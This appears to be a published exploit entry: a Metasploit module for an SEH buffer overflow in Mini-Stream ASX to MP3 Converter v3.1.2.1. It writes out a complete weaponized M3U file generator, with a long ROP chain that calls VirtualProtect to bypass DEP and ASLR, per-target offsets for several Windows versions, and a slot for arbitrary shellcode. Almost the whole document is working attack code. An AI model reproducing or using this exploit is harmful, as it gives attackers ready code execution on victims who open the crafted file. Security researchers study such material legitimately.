| 
	  # Exploit Title:     ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass) # Date:              July 13, 2010 # Author:            Node # Software Link:     http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe # Version:           Mini-Stream Software ASX to MP3 Converter v3.1.2.1.2010.03.30 Evaluation # Tested on:         Windows Vista Ultimate SP1 Eng #                    Windows Vista Ultimate SP2 Eng #                    Windows XP Pro SP3 Eng #                    Windows XP Pro SP2 Swe #                    Windows XP Pro SP3 Swe #                    Windows XP Home SP3 Swe # CVE : # Notes:             This is a proof of concept that it is possible to write ROP exploits  #                    that are portable to different operating systems. This exploit is  #                    using the following variables:  # #                    1. "Offset":    The offset to the SEH overwrite #                    2. "Offset2":   The offset before the ROP code starts in the buffer #                    3. "K32Offset": The offset to the kernel32 pointer on the stack #                    4. "VPOffset":  The offset to VirtualProtect() from the grabbed  #                                    kernel32 address #                    5. "ASLR":      Activates or deactivates the ASLR bypassing ROP code  # #                    The K32Offset and VPOffset are negged hex-numbers, to evade the  #                    null-byte problem. In the first target, K32Offset is "0xfffebcac"  #                    which gets converted in the ROP code to 0x00014354 (82772), which is  #                    how much the saved ESP address needs to be subtracted, to point to  #                    the kernel32 address. VPOffset is how much the Kernel32 address  #                    needs to be subtracted, to point to the VirtualProtect() function.  #                    If "ASLR" is false, "VPOffset" will be treated as the direct,  #                    non-negged address to VirtualProtect() in Kernel32.dll. # Code: 
require 'msf/core' 
class Metasploit3 < Msf::Exploit::Remote  Rank = GoodRanking 
 include Msf::Exploit::FILEFORMAT 
 def initialize(info = {})   super(update_info(info,    'Name'           => 'Mini-Stream Software ASX to MP3 Converter v3.1.2.1 SEH Buffer Overflow.',    'Description'    => %q{      This module exploits a SEH-based buffer overflow in ASX to MP3 Converter       v.3.1.2.1. An attacker must send the file to victim, and the victim must open      the specially crafted M3U file. This exploit is written with ROP gadgets from       MSA2Mfilter03.dll and bypasses DEP on all systems including ASLR on Vista.    },    'License'        => MSF_LICENSE,    'Author'         => [ 'Node' ],    'Version'        => '$Revision: 99999 $',    'Payload'        =>     {      'Space'    => 1000,      'BadChars' => "\x00\x0a\x0d",     },    'Platform' => 'win',    'Targets' =>     [      [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP1 Eng x86',          {'Offset' => 43511,       'Offset2' =>  16339,        'K32Offset' => 0xfffebcac,       'VPOffset' => 0xfffe4e9c,       'ASLR' => true } ],      [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP2 Eng x86',          {'Offset' => 43511,       'Offset2' =>  16339,        'K32Offset' => 0xfffebcac,       'VPOffset' => 0xfffe5bf0,       'ASLR' => true } ],      [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Eng x86',         {'Offset' => 43484,       'Offset2' =>  16312,       'VPOffset' => 0x7c801ad4,       'ASLR' => false } ],      [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP2 Swe x86',         {'Offset' => 43476,       'Offset2' =>  16304,       'VPOffset' => 0x7c801ad0,       'ASLR' => false } ],      [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Swe x86',         {'Offset' => 43491,       'Offset2' =>  16319,       'VPOffset' => 0x7c801ad4,       'ASLR' => false } ],      [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Home SP3 Swe x86',         {'Offset' => 43476,       'Offset2' =>  16304,       'VPOffset' => 0x7c801ad4,       'ASLR' => false } ]     ],    'Privileged'     => false,    'DisclosureDate' => '',    'DefaultTarget'  => 0)) 
  register_options(    [     OptString.new('FILENAME', [ true, 'The file name.',  'asx2mp3.m3u']),    ], self.class)  end 
 def exploit 
  rop = [0x1002F7B7].pack('V')  # PUSH ESP # AND AL,0C # NEG EDX # NEG EAX # SBB EDX,0 # POP EBX # RETN 10   rop << [0x10023315].pack('V') # ADD ESP,20 # RETN     rop << "1111" # VirtualProtect() placeholder   rop << "2222" #return address placeholder   rop << "3333" #lpAddress placeholder   rop << "4444" #dwsize placeholder   rop << "5555" #flNewProtect placeholder   rop << [0x10066005].pack('V') # lpflOldProtect writable address   rop << "A" * 8   rop << "A" * 16 # because of RETN 10   rop << [0x1002991C].pack('V') # XOR EDX,EDX # RETN   rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10   rop << "A" * 4   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN   rop << "A" * 16         if target['ASLR'] == true    rop << [0x1002A649].pack('V')  # POP EAX # RETN    rop << [target['K32Offset']].pack('V')    rop << [0x1005B5DB].pack('V') # NEG EAX # RETN    rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN    rop << "A" * 8    rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN    rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN     rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN    rop << "A" * 8    rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN    rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN    rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN    rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN    rop << "A" * 8   end 
  rop << [0x100115AA].pack('V')  # POP EBX # RETN   rop << [0xffffffff].pack('V')   rop << [0x10014548].pack('V')  # XOR EAX,EAX # RETN   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN   rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10   rop << "A" * 4   rop << [0x1002A649].pack('V')  # POP EAX # RETN   rop << "A" * 16 
  rop << [target['VPOffset']].pack('V') 
  if target['ASLR'] == true    rop << [0x1005B5DB].pack('V') # NEG EAX # RETN    rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN    rop << "A" * 8    rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN    rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN     rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP #POP EBX # RETN    rop << "A" * 8    rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN    rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN    rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN   end     rop << [0x10019AA7].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # POP EDI # XOR EAX,EAX # POP EBP # ADD ESP,40   # RETN   rop << "A" * 8   rop << "A" * 64   rop << [0x1002A649].pack('V')  # POP EAX # RETN   rop << [0xffff95c8].pack('V') # negged shellcode offset   rop << [0x1005B5DB].pack('V') # NEG EAX # RETN   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN   rop << "A" * 8   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN    rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN   rop << "A" * 8   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN   rop << [0x1001451E].pack('V')  # ADD EAX,ECX # RETN   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN   rop << "A" * 8   rop << [0x100115AA].pack('V')  # POP EBX # RETN   rop << [0xffffffff].pack('V')   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN   rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10   rop << "A" * 4   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN   rop << "A" * 16    rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN   rop << "A" * 8   rop << [0x100115AA].pack('V')  # POP EBX # RETN   rop << [0xffffffff].pack('V')   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN   rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10   rop << "A" * 4   rop << [0x1002A649].pack('V')  # POP EAX # RETN   rop << "A" * 16   rop << [0xfffffc18].pack('V') # 0x3e8(1000].pack('V') negged   rop << [0x1005B5DB].pack('V') # NEG EAX # RETN   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN   rop << "A" * 8   rop << [0x100115AA].pack('V')  # POP EBX # RETN   rop << [0xffffffff].pack('V')   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN   rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10   rop << "A" * 4   rop << [0x1002A649].pack('V')  # POP EAX # RETN   rop << "A" * 16   rop << [0xffffffc0].pack('V') # 0x40 negged   rop << [0x1005B5DB].pack('V') # NEG EAX # RETN   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN   rop << "A" * 8   rop << [0x100115AA].pack('V')  # POP EBX # RETN   rop << [0xffffffff].pack('V')   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x10016C87].pack('V')  # INC EAX # RETN   rop << [0x1005B5DB].pack('V') # NEG EAX # RETN   rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN   rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10   rop << "A" * 4   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN   rop << "A" * 16   rop << [0x1002FE81].pack('V')  # XCHG EAX,ESP # RETN 
  junk = rand_text_alpha_upper(target['Offset2']) #needed because of ADD ESP,4404 # RETN   junktoseh = rand_text_alpha_upper(target['Offset'] - junk.length - rop.length)   seh = [0x100177EA].pack('V') #ADD ESP,4404 # RETN   nops = "\x90" * 24   shellspace = rand_text_alpha_upper(1000 - payload.encoded.length)   m3ufile = junk + rop + junktoseh + seh + nops + payload.encoded + shellspace   print_status("Creating '#{datastore['FILENAME']}' file ...")   file_create(m3ufile) 
 end 
end  
	
  |